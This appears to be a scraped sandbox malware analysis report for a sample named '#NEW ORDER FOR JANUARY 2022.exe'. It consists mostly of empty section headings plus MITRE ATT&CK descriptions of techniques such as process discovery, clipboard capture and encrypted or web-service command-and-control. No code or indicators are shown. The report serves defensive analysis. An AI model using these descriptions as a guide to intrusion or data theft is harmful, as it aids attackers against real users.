Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report #NEW ORDER FOR JANUARY 2022.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre